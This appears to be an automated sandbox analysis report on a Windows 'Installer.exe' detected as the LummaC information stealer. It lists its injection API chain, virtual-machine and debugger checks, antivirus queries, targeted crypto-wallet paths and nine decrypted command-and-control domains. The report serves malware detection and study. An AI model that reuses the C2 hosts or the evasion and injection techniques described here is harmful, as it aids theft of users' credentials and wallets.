Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00424B00	3_2_00424B00
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00428307	3_2_00428307
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004403D0	3_2_004403D0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004413E0	3_2_004413E0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00404BF0	3_2_00404BF0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0041AB80	3_2_0041AB80
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00438C5D	3_2_00438C5D
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00416C77	3_2_00416C77
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00437C78	3_2_00437C78
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0042AC30	3_2_0042AC30
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0042F4F6	3_2_0042F4F6
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00419C90	3_2_00419C90
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00416492	3_2_00416492
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0042CCA2	3_2_0042CCA2
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004074A0	3_2_004074A0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004264B0	3_2_004264B0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00438CB0	3_2_00438CB0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0041E540	3_2_0041E540
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00440550	3_2_00440550
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0041C561	3_2_0041C561
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0042D57F	3_2_0042D57F
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004385C7	3_2_004385C7
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00411DC9	3_2_00411DC9
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00418DE6	3_2_00418DE6
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004115F1	3_2_004115F1
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00420583	3_2_00420583
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0042E64D	3_2_0042E64D
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0041966B	3_2_0041966B
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00440600	3_2_00440600
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0041DE10	3_2_0041DE10
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00417E1A	3_2_00417E1A
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00402EC0	3_2_00402EC0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004066D0	3_2_004066D0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00426ED0	3_2_00426ED0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00440690	3_2_00440690
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004146A0	3_2_004146A0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00426EB0	3_2_00426EB0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00429740	3_2_00429740
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0040A770	3_2_0040A770
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00428770	3_2_00428770
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00438F10	3_2_00438F10
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0043D710	3_2_0043D710
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00415F19	3_2_00415F19
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00436F2C	3_2_00436F2C
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0043A7D0	3_2_0043A7D0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004227E0	3_2_004227E0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00416FF0	3_2_00416FF0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0040C782	3_2_0040C782
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0043AF80	3_2_0043AF80
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00408F90	3_2_00408F90
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00416790	3_2_00416790
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00430797	3_2_00430797
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0041E7A0	3_2_0041E7A0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0043F7B2	3_2_0043F7B2

Source: C:\Users\user\Desktop\Installer.exe	Code function: String function: 0035CFD6 appears 40 times
Source: C:\Users\user\Desktop\Installer.exe	Code function: String function: 0034FAE4 appears 34 times
Source: C:\Users\user\Desktop\Installer.exe	Code function: String function: 003580F8 appears 42 times
Source: C:\Users\user\Desktop\Installer.exe	Code function: String function: 00350730 appears 38 times
Source: C:\Users\user\Desktop\Installer.exe	Code function: String function: 00407FE0 appears 41 times
Source: C:\Users\user\Desktop\Installer.exe	Code function: String function: 00414690 appears 95 times
Source: C:\Users\user\Desktop\Installer.exe	Code function: String function: 0034FA60 appears 100 times

Source: Installer.exe

Static PE information: invalid certificate

Source: Installer.exe, 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Installer.exe
Source: Installer.exe, 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Installer.exe
Source: Installer.exe, 00000002.00000000.1672072820.00000000003CF000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Installer.exe
Source: Installer.exe, 00000003.00000002.3522502957.00000000003CF000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Installer.exe
Source: Installer.exe, 00000003.00000003.1672972885.00000000035EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Installer.exe
Source: Installer.exe	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Installer.exe

Source: Installer.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Installer.exe

Static PE information: Section: .bss ZLIB complexity 1.0003360896915585

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/1@11/2

Source: C:\Users\user\Desktop\Installer.exe

Code function: 3_2_004396A0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_004396A0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7432:120:WilError_03

Source: Installer.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Installer.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Installer.exe, 00000003.00000003.1785946672.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1786173640.0000000005C51000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1785844021.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Installer.exe

ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\Installer.exe

File read: C:\Users\user\Desktop\Installer.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Installer.exe "C:\Users\user\Desktop\Installer.exe"
Source: C:\Users\user\Desktop\Installer.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Installer.exe	Process created: C:\Users\user\Desktop\Installer.exe "C:\Users\user\Desktop\Installer.exe"
Source: C:\Users\user\Desktop\Installer.exe	Process created: C:\Users\user\Desktop\Installer.exe "C:\Users\user\Desktop\Installer.exe"
Source: C:\Users\user\Desktop\Installer.exe	Process created: C:\Users\user\Desktop\Installer.exe "C:\Users\user\Desktop\Installer.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Process created: C:\Users\user\Desktop\Installer.exe "C:\Users\user\Desktop\Installer.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Installer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Installer.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Installer.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Installer.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Installer.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Installer.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: Installer.exe

Static PE information: real checksum: 0x97cc3 should be: 0x933b3

Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_0034FB83 push ecx; ret	0_2_0034FB96
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_0034FB83 push ecx; ret	2_2_0034FB96
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00440240 push eax; mov dword ptr [esp], DED9D88Bh	3_2_00440245
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004464FA push edx; ret	3_2_00446500
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0044666E push cs; ret	3_2_00446682
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00446627 push cs; ret	3_2_00446682
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00430797 push 89240489h; mov dword ptr [esp], eax	3_2_004307CB

Source: C:\Users\user\Desktop\Installer.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Installer.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Installer.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Installer.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Installer.exe

Window / User API: threadDelayed 9974

Jump to behavior

Source: C:\Users\user\Desktop\Installer.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-20104

Source: C:\Users\user\Desktop\Installer.exe TID: 7508	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe TID: 7864	Thread sleep count: 9974 > 30			Jump to behavior

Source: C:\Users\user\Desktop\Installer.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Installer.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Installer.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_00361F38 FindFirstFileExW,		2_2_00361F38
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_00361FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		2_2_00361FE9

Source: Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522783205.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522659058.0000000003512000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835883384.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Installer.exe

API call chain: ExitProcess graph end node

graph_3-14591

Source: C:\Users\user\Desktop\Installer.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Installer.exe

Code function: 3_2_0043EBA0 LdrInitializeThunk,

3_2_0043EBA0

Source: C:\Users\user\Desktop\Installer.exe

Code function: 0_2_0034F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0034F8E9

Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_0037A19E mov edi, dword ptr fs:[00000030h]	0_2_0037A19E
Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_00341FB0 mov edi, dword ptr fs:[00000030h]	0_2_00341FB0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_00341FB0 mov edi, dword ptr fs:[00000030h]	2_2_00341FB0

Source: C:\Users\user\Desktop\Installer.exe

Code function: 0_2_0035D8E0 GetProcessHeap,

0_2_0035D8E0

Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_0034F52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0034F52D
Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_0034F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0034F8E9
Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_0034F8DD SetUnhandledExceptionFilter,	0_2_0034F8DD
Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_00357E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00357E30
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_0034F52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0034F52D
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_0034F8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0034F8E9
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_0034F8DD SetUnhandledExceptionFilter,	2_2_0034F8DD
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_00357E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00357E30

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Installer.exe

Code function: 0_2_0037A19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0037A19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Installer.exe

Memory written: C:\Users\user\Desktop\Installer.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Installer.exe, 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: Installer.exe, 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: Installer.exe, 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: Installer.exe, 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: Installer.exe, 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: Installer.exe, 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: Installer.exe, 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: Installer.exe, 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: Installer.exe, 00000000.00000002.1672929760.0000000003462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\Installer.exe	Process created: C:\Users\user\Desktop\Installer.exe "C:\Users\user\Desktop\Installer.exe"			Jump to behavior
Source: C:\Users\user\Desktop\Installer.exe	Process created: C:\Users\user\Desktop\Installer.exe "C:\Users\user\Desktop\Installer.exe"			Jump to behavior

Source: C:\Users\user\Desktop\Installer.exe	Code function: EnumSystemLocalesW,	0_2_0035D1BD
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00361287
Source: C:\Users\user\Desktop\Installer.exe	Code function: EnumSystemLocalesW,	0_2_003614D8
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00361580
Source: C:\Users\user\Desktop\Installer.exe	Code function: EnumSystemLocalesW,	0_2_003617D3
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,	0_2_00361840
Source: C:\Users\user\Desktop\Installer.exe	Code function: EnumSystemLocalesW,	0_2_00361915
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,	0_2_00361960
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00361A07
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,	0_2_00361B0D
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,	0_2_0035CC15
Source: C:\Users\user\Desktop\Installer.exe	Code function: EnumSystemLocalesW,	2_2_0035D1BD
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00361287
Source: C:\Users\user\Desktop\Installer.exe	Code function: EnumSystemLocalesW,	2_2_003614D8
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00361580
Source: C:\Users\user\Desktop\Installer.exe	Code function: EnumSystemLocalesW,	2_2_003617D3
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,	2_2_00361840
Source: C:\Users\user\Desktop\Installer.exe	Code function: EnumSystemLocalesW,	2_2_00361915
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,	2_2_00361960
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00361A07
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,	2_2_00361B0D
Source: C:\Users\user\Desktop\Installer.exe	Code function: GetLocaleInfoW,	2_2_0035CC15

Source: C:\Users\user\Desktop\Installer.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Installer.exe

Code function: 0_2_003500B4 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_003500B4

Source: C:\Users\user\Desktop\Installer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Installer.exe, 00000003.00000003.1874516417.00000000035AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: Installer.exe, 00000003.00000002.3522659058.000000000353B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Installer.exe, 00000003.00000003.1973390326.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522806645.00000000035AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: er\MsMpeng.exe

Source: C:\Users\user\Desktop\Installer.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Installer.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
